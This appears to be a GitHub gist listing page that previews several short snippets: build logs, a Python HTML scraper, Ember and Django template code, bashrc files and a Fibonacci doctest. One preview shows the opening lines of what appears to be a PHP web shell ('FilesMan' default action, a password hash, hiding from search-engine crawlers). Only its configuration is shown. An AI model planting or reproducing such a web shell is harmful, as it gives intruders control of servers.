Skip to content

Instantly share code, notes, and snippets.

@georgemarshall
georgemarshall / # openjdk - 2021-05-24_18-00-42.txt
Created May 25, 2021 01:05
openjdk on macOS 11 - Homebrew build logs
Homebrew build logs for openjdk on macOS 11
Build date: 2021-05-24 18:00:42
@georgemarshall
georgemarshall / gist:6501354
Created September 9, 2013 20:53
HTML to JSON
#!/usr/bin/env python
from bs4 import BeautifulSoup
import json
data = {'photos': []}
soup = BeautifulSoup(open('gallery.html'))
for item in soup.find_all('li'):
if 'testimony' in item['class']:
continue
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
class UploadTestForm(forms.Form):
file = forms.FileField()
@georgemarshall
georgemarshall / ember-swfobject.js
Created November 10, 2012 01:07
Creates an Ember view that wraps SWFObject
(function() {
/**
* Creates an Ember view that wraps SWFObject
**/
Ember.SWFObjectView = Ember.View.extend({
attObj: {},
parObj: {},
expressInstall: 'expressInstall.swf',
version: '9.0.0',
template: Ember.Handlebars.compile('<p>This device doesn\'t appear to have flash support.</p>'),
{% load handlebars i18n %}
<!DOCTYPE html>
<html lang="en">
<head>
<title>Example</title>
</head>
<body>
{% filter handlebars %}
<script type="text/x-handlebars">
{$ #view App.MenuView $}
#!/usr/bin/env python
# -*- coding: rot-13 -*-
vs __anzr__ == h'__znva__':
cevag h'Uryyb, Jbeyq!'
@georgemarshall
georgemarshall / gentoo.sh
Created September 21, 2011 22:36
Gentoo vs Ubuntu
# /etc/bash/bashrc
#
# This file is sourced by all *interactive* bash shells on startup,
# including some apparently interactive shells such as scp and rcp
# that can't tolerate any output. So make sure this doesn't display
# anything or bad things will happen !
# Test for an interactive shell. There is no need to set anything
# past this point for scp and rcp, and it's important to refrain from
# System-wide .bashrc file for interactive bash(1) shells.
if [ -z "$PS1" ]; then
return
fi
PS1='\h:\W \u\$ '
# Make bash check its window size after a process completes
shopt -s checkwinsize
# Tell the terminal about the working directory at each prompt.
if [ "$TERM_PROGRAM" == "Apple_Terminal" ] && [ -z "$INSIDE_EMACS" ]; then
@georgemarshall
georgemarshall / gist:875797
Created March 18, 2011 09:05
fibonacci index lookup and prime tester with doctest
def fibonacci(n):
"""Return value at n in fibonacci sequence
>>> fibonacci(3)
3
>>> fibonacci(6)
13
>>> fibonacci(9)
55